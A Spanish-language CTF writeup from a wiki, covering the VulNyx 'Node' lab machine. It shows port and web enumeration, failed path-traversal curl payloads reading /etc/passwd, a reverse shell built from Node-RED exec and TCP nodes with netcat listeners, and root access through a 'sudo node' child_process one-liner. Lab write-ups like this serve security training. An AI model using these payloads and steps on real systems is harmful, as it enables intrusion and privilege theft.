🍇
DeliciousHack Wiki
DiscordYoutube
  • 🖲️Spirit Admins [SAG]
  • 🥞VulNyx WriteUps
    • 🥯Introducción a VulNyx
    • 🖲️Node CTF - Writeup ES
    • 🖲️Agent CTF - Writeup ES
  • 🍧Redes
    • 🏓Squid Proxy Gnu/Linux
    • 🍬TOR + PROXYCHAINS
    • 📡Rangos de direcciones IP's
  • 🫐Criptografía
    • 🔑Claves Criptográficas
Con tecnología de GitBook
En esta página
  • Enumeración de servicios.
  • Enumeración e intrusión a través de Node-Red
  • Enumeración y escalada en sistema Linux

¿Te fue útil?

  1. VulNyx WriteUps

Node CTF - Writeup ES

AnteriorIntroducción a VulNyxSiguienteAgent CTF - Writeup ES

Última actualización hace 1 año

¿Te fue útil?

Dificultad
Creador
Deploy

Fácil

d4t4s3c

Local

Enumeración de servicios.

Esta máquina contempla una intrusión web a través de NODE-RED y una escalada de privilegios en sistema abusando de sudo.

arp-scan -l | grep "08"
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Interface: eth0, type: EN10MB, MAC: 08:00:27:c7:e1:36, IPv4: 192.168.1.62
192.168.1.69	08:00:27:a9:0c:72	(Unknown)

Para la enumeración de servicios y puertos se utiliza nmap, con una parametrización enfocada en: extraer información y versionado de estos mediante los parámetros "-sCV", a todos los puertos TCP existentes (65535) con "-p-", con un mínimo de paquetería enviada por segundo de 4500 paquetes y guardando el output en un archivo grepeable.

┌──(root㉿maritrini)-[/home/kali]
└─# nmap -sCV -p- -n --min-rate=4500 192.168.1.69 -oG nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-03 11:47 EST
Nmap scan report for 192.168.1.69
Host is up (0.00040s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
1880/tcp open  http    Node.js Express framework
|_http-title: Node-RED
|_http-cors: GET POST PUT DELETE
MAC Address: 08:00:27:A9:0C:72 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(root㉿maritrini)-[/home/kali]
└─# whatweb 192.168.1.69                                                                                  
http://192.168.1.69 [200 OK] Apache[2.4.56], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[192.168.1.69], Title[Apache2 Debian Default Page: It works]
┌──(root㉿maritrini)-[/home/kali]
└─# wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 192.168.1.69/FUZZ 
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.69/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                             
=====================================================================

000045226:   200        368 L    933 W      10701 Ch    "http://192.168.1.69/"                                              
000095510:   403        9 L      28 W       277 Ch      "server-status"                                                     
000190041:   404        9 L      31 W       274 Ch      "126575"                                                            

Total time: 361.7233
Processed Requests: 191736
Filtered Requests: 191734
Requests/sec.: 530.0625
┌──(root㉿maritrini)-[/home/kali]
└─# wfuzz -c --hc=404 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -z list,html-php-css-js -u 192.168.1.69/FUZZ.FUZ2Z
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.69/FUZZ.FUZ2Z
Total requests: 18860

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                             
=====================================================================

000000094:   403        9 L      28 W       277 Ch      ".htaccess - php"                                                   
000000090:   403        9 L      28 W       277 Ch      ".hta - php"                                                        
000000097:   403        9 L      28 W       277 Ch      ".htpasswd - html"                                                  
000000096:   403        9 L      28 W       277 Ch      ".htaccess - js"                                                    
000000093:   403        9 L      28 W       277 Ch      ".htaccess - html"                                                  
000000095:   403        9 L      28 W       277 Ch      ".htaccess - css"                                                   
000000092:   403        9 L      28 W       277 Ch      ".hta - js"                                                         
000000098:   403        9 L      28 W       277 Ch      ".htpasswd - php"                                                   
000000089:   403        9 L      28 W       277 Ch      ".hta - html"                                                       
000000100:   403        9 L      28 W       277 Ch      ".htpasswd - js"                                                    
000000091:   403        9 L      28 W       277 Ch      ".hta - css"                                                        
000000099:   403        9 L      28 W       277 Ch      ".htpasswd - css"                                                   
000008765:   200        368 L    933 W      10701 Ch    "index - html"                                                      

Total time: 31.29138
Processed Requests: 18860
Filtered Requests: 18847
Requests/sec.: 602.7218

El archivo index.html da como respuesta 200 a la petición por protocolo HTTP, con "curl" se comprueba las cabeceras y respuestas, desde el navegador también se puede visualizar el contenido, resultando en el propio archivo de configuración por defecto del gestor web Apache.

┌──(root㉿maritrini)-[/home/kali]
└─# curl -I 192.168.1.69/index.html
HTTP/1.1 200 OK
Date: Sun, 03 Dec 2023 17:30:16 GMT
Server: Apache/2.4.56 (Debian)
Last-Modified: Tue, 16 May 2023 20:42:31 GMT
ETag: "29cd-5fbd59c3bb4da"
Accept-Ranges: bytes
Content-Length: 10701
Vary: Accept-Encoding
Content-Type: text/html
┌──(root㉿maritrini)-[/home/kali]
└─# searchsploit OpenSSH    
--------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                     |  Path
--------------------------------------------------------------------------------------------------- ---------------------------------
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation                               | linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service                                 | multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution                                                   | freebsd/remote/17462.txt
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read                                             | linux/local/258.sh
Novell Netware 6.5 - OpenSSH Remote Stack Overflow                                                 | novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite                                                         | linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration                                                           | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                     | linux/remote/45210.py
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One                                                  | unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow                                         | linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1)                                               | unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2)                                               | unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service                                         | multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation                                               | linux/local/41173.c
OpenSSH 7.2 - Denial of Service                                                                    | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection                                            | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration                                                               | linux/remote/40136.py
OpenSSH < 6.6 SFTP (x64) - Command Execution                                                       | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution                                                             | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalati | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                                           | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                                                               | linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files                                                         | multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident                                                | linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool                                                  | linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration                                                              | linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack                                               | multiple/remote/3303.sh
--------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

No se encuentra ninguna vulnerabilidad por versión para el servicio SSH, por lo que directamente se continúa por la tecnología y servicio de "Node.js Express Framework" en el puerto 1880.

1880/tcp open  http    Node.js Express framework
|_http-title: Node-RED
|_http-cors: GET POST PUT DELETE

Enumeración e intrusión a través de Node-Red

Como siempre, a cada tecnología que se descubre, se investiga sobre la misma en internet, principalmente para ser pragmático y resolutivo dado que, si se comprueba la documentación se podrá comprender mejor por dónde se debe encaminar la enumeración. Generalmente en estos WriteUps es añadida una tabla con información importante sobre la tecnología a tocar (esta opción me parece interesante para mis lectores ya que, quizás algún recurso no lo habéis ojeado pero os interesa guardarlo en vuestra wiki).

Aunque los CVE como tal son de versiones anteriores al Node-Red que está desplegado en este servidor, se encuentran dos técnicas de explotación que sí pueden ejecutarse en esta versión, estas son LFI y RCE. Se prueba el LFI (aunque lo marca para versiones 2.x intento de igual forma la técnica) a través de curl con la intención de leer el fichero /etc/passwd alojado en el servidor, pero no se consigue ningún resultado dado que la respuesta HTTP es de 404 ("Not found") y no existe ningún otro directorio dependiente de este framework que tenga permisos para realizar la técnica LFI. (Esta técnica está explicada en el enlace correspondiente de la tabla anterior, en la pestaña de LFI).

Se realizan varios intentos sin resultado como se muestra a continuación:

┌──(kali🐼maritrini)-[~]
└─$ curl "http://192.168.1.69:1880/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"       
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd</pre>
</body>
</html>
┌──(kali🐼maritrini)-[~]
└─$ curl -I "192.168.1.69:1880/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
HTTP/1.1 404 Not Found
Access-Control-Allow-Origin: *
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 213
Date: Wed, 06 Dec 2023 19:45:27 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Según la lectura de la documentación, se pueden generar estructuras de funciones atribuidas a la comunicación de hardware, servicios e interacciones con API's a través del flujo del propio editor web de Node-Red, como se puede ver en la siguiente captura.

Después de leer la documentación sobre vulnerabilidades (disponible al principio de esta sección) y de realizar alguna prueba, encuentro la conexión de 3 funciones que ofrecen una escalada al sistema a través del usuario "dev".

Existen un par de formas de conectar una Reverse Shell, como por ejemplo por protocolo UPD o TCP, en este caso las pruebas realizadas por UDP no dieron resultado (porque no se puede o porque yo soy muy manco y no lo he hecho bien) así que se aprovecha del protocolo TCP para generar en primer lugar un "TCP IN" que mande una petición de conexión a mi IP, en esta petición de conexión comunico un nodo "EXEC" para ejecutar un "Netcat" y enviar una Shell de Bash a mi IP, como último paso creo otro nodo "TCP OUT" que genera una conexión TCP por el puerto 6969 hacía mi IP de nuevo (sí, has entendido bien, se necesitan dos puertos en escucha, uno para entablar la petición TCP y otro para recibir la Shell de Bash).

Y el resultado de esta configuración sería la siguiente:

Como se ha comentado anteriormente, se necesita ejecutar dos Netcat a la escucha, uno en el puerto 3333 para entablar la conexión TCP y otro con el puerto 6969 para recibir la shell de bash por TCP también.

En la parte superior derecha del panel web de Red-Node está ubicado el botón de "Deploy" que permite ejecutar las conexiones creadas con los nodos, se despliega la configuración anterior y recibo una shell remota con el usuario "dev".

Para obtener esta Shell se debe aceptar con un "ENTER" en la conexión de Netcat por puerto 3333, lo que genera directamente la conexión con la máquina remota a través del otro puerto 6969 como se aprecia en la siguiente captura.

Netcat puerto 3333:

┌──(kali🐼maritrini)-[~]
└─$ nc -lvnp 3333  
listening on [any] 3333 ...
connect to [192.168.1.62] from (UNKNOWN) [192.168.1.69] 38122
id

Netcat puerto 6969:

┌──(kali🐼maritrini)-[~]
└─$ nc -lvnp 6969  
listening on [any] 6969 ...
connect to [192.168.1.62] from (UNKNOWN) [192.168.1.69] 51396
id
uid=1000(dev) gid=1000(dev) grupos=1000(dev)

Enumeración y escalada en sistema Linux

Enumerando con sudo y buscando por permisos especiales se descubre que se puede ejecutar el binario node como usuario root sin contraseña por lo que buscando este binario en la página GTFOBins. Se obtiene el abuso de este binario para ejecutar una Shell de bash bajo usuario privilegiado.

sudo -l
Matching Defaults entries for dev on node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dev may run the following commands on node:
    (root) NOPASSWD: /usr/bin/node
find / -perm -4000 2>/dev/null
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
id;whoami            
uid=0(root) gid=0(root) grupos=0(root)
root

Finalmente puede accederse como usuario root y, oficialmente, esta máquina está deliciosamente hackeada.

Este es el primer WriteUp de esta wiki pero poco a poco encontrarás más contenido sobre VulNyx. Si quieres estar al día de las publicaciones puedes seguirme en Twitter o través de nuestro servidor de Discord. Saludos y delicioso hack para tod@s.

Como primer paso inicial, y común en los CTF con estructura virtualizada en local, (véase este para más información) se ejecuta la orden de sistema "arp-scan" con el objetivo de identificar la IP relacionada con la máquina víctima.

Es una buena práctica comprobar las tecnologías e información dependiente del servicio web con la herramienta WhatWeb para la shell. Existen otras alternativas para el navegador como

El servicio de Apache en puerto 80, alberga el index correspondiente a la configuración del gestor web. Se realiza una búsqueda de archivos (con extensiones) y directorios obteniendo el archivo "index.html" y sin resultados por parte de los directorios. (Para comprender el uso de wfuzz léase este).

En este punto, evidentemente después de comprobar con el resultado de nmap que el servidor tiene un servicio de "Node" con , lo más seguro es que tenga disponible algún tipo de gestión que me permita algún tipo de maniobra abusando de este concepto. Pero antes, no está de más comprobar si la aplicación en red de SSH tiene vulnerabilidades, se puede apoyarse en la herramienta "searchsploit" para enumerarlas.

Enlace a la documentación oficial de Node-Red:

Reportes OpenCVE:

Reportes de CVE Details:

Reportes de Synk Security:

Repositorio con ejemplo de ejecución de LFi:

CVE Mitre:

Explicación de RCE a través del panel web de Node-Red:

Vídeo explicativo, canal Musab Khan:

documento
Wappalyzer
documento
Intercambio de recursos de origen cruzado (CORS) - HTTP
https://nodered.org/docs/
https://www.opencve.io/cve?vendor=nodered
https://www.cvedetails.com/product/76075/Nodered-Node-red.html?vendor_id=22050
https://security.snyk.io/package/npm/node-red
https://github.com/node-red/node-red-dashboard/issues/669
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223
https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
https://www.youtube.com/watch?v=jeZpNA2zdjY
🥞
🖲️
Ubicación de la máquina node en la plataforma Vulnyx.
Ejemplo del output
Panel web de Node-Red
Captura de las conexiones a generar con los nodos.
Nodo TCP IN
Nodo EXEC
Nodo TCP OUT
Resultado de la configuración de los nodos.
Captura netcat
Captura CTFOBINS
Richard Stallman (Fundador de GNU)
Page cover image